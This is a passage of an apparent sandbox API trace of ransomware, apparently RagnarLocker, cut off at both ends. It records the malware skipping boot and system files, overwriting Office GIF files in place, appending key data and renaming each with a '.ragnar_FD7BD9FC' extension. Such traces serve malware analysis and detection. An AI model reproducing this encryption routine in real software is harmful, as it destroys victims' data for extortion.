nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.425] GetProcessHeap () returned 0x580000 [0100.425] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.425] CloseHandle (hObject=0x10c) returned 1 [0100.425] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" [0100.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.ragnar_FD7BD9FC" [0100.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21365_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21365_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.451] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52007200, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x52007200, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21366_.GIF", cAlternateFileName="")) returned 1 [0100.451] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.451] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21366_.GIF" | out: lpString1="BD21366_.GIF") returned="BD21366_.GIF" [0100.451] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF") returned=".GIF" [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="autorun.inf") returned 1 [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="boot.ini") returned -1 [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="bootfont.bin") returned -1 [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="bootsect.bak") returned -1 [0100.451] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="bootmgr") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="bootmgr.efi") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="desktop.ini") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="iconcache.db") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="ntldr") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="ntuser.dat") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="ntuser.ini") returned -1 [0100.452] lstrcmpiW (lpString1="BD21366_.GIF", lpString2="thumbs.db") returned -1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.452] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif")) returned 0x20 [0100.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.454] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=200) returned 1 [0100.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.454] GetProcessHeap () returned 0x580000 [0100.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.454] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.455] VirtualAlloc (lpAddress=0x0, dwSize=0xc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.455] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc8, lpOverlapped=0x0) returned 1 [0100.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.455] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.455] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc8, lpOverlapped=0x0) returned 1 [0100.455] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.455] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.456] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.456] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.456] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.456] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.456] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.456] GetProcessHeap () returned 0x580000 [0100.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.456] CloseHandle (hObject=0x10c) returned 1 [0100.456] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" [0100.456] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.ragnar_FD7BD9FC" [0100.456] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21366_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21366_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.457] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d68800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x88d68800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21375_.GIF", cAlternateFileName="")) returned 1 [0100.457] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.457] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21375_.GIF" | out: lpString1="BD21375_.GIF") returned="BD21375_.GIF" [0100.457] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF") returned=".GIF" [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="autorun.inf") returned 1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="boot.ini") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="bootfont.bin") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="bootsect.bak") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="bootmgr") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="bootmgr.efi") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="desktop.ini") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="iconcache.db") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="ntldr") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="ntuser.dat") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="ntuser.ini") returned -1 [0100.457] lstrcmpiW (lpString1="BD21375_.GIF", lpString2="thumbs.db") returned -1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.458] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif")) returned 0x20 [0100.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.470] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=212) returned 1 [0100.470] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xcb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.470] GetProcessHeap () returned 0x580000 [0100.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.470] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.471] VirtualAlloc (lpAddress=0x0, dwSize=0xd4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.471] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xd4, lpOverlapped=0x0) returned 1 [0100.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.471] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd4, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.471] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xd4, lpOverlapped=0x0) returned 1 [0100.471] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.471] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.471] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.472] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.472] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.472] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.472] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.472] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.472] GetProcessHeap () returned 0x580000 [0100.472] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.472] CloseHandle (hObject=0x10c) returned 1 [0100.472] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" [0100.472] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.ragnar_FD7BD9FC" [0100.472] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0100.473] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a07b500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a07b500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21376_.GIF", cAlternateFileName="")) returned 1 [0100.473] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0100.473] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21376_.GIF" | out: lpString1="BD21376_.GIF") returned="BD21376_.GIF" [0100.473] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF") returned=".GIF" [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="autorun.inf") returned 1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="boot.ini") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="bootfont.bin") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="bootsect.bak") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="bootmgr") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="bootmgr.efi") returned -1 [0100.473] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="bootmgfw.efi") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="desktop.ini") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="iconcache.db") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="ntldr") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="ntuser.dat") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="ntuser.dat.log") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="ntuser.ini") returned -1 [0100.474] lstrcmpiW (lpString1="BD21376_.GIF", lpString2="thumbs.db") returned -1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0100.474] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0100.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif")) returned 0x20 [0100.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0100.475] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=180) returned 1 [0100.475] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.475] GetProcessHeap () returned 0x580000 [0100.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0100.475] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0100.475] VirtualAlloc (lpAddress=0x0, dwSize=0xb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0100.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0100.476] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb4, lpOverlapped=0x0) returned 1 [0100.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0100.476] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.476] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb4, lpOverlapped=0x0) returned 1 [0100.476] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.476] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.476] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.476] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0100.476] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.476] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0100.477] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0100.477] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0100.477] GetProcessHeap () returned 0x580000 [0100.477] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0100.477] CloseHandle (hObject=0x10c) returned 1 [0100.477] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft 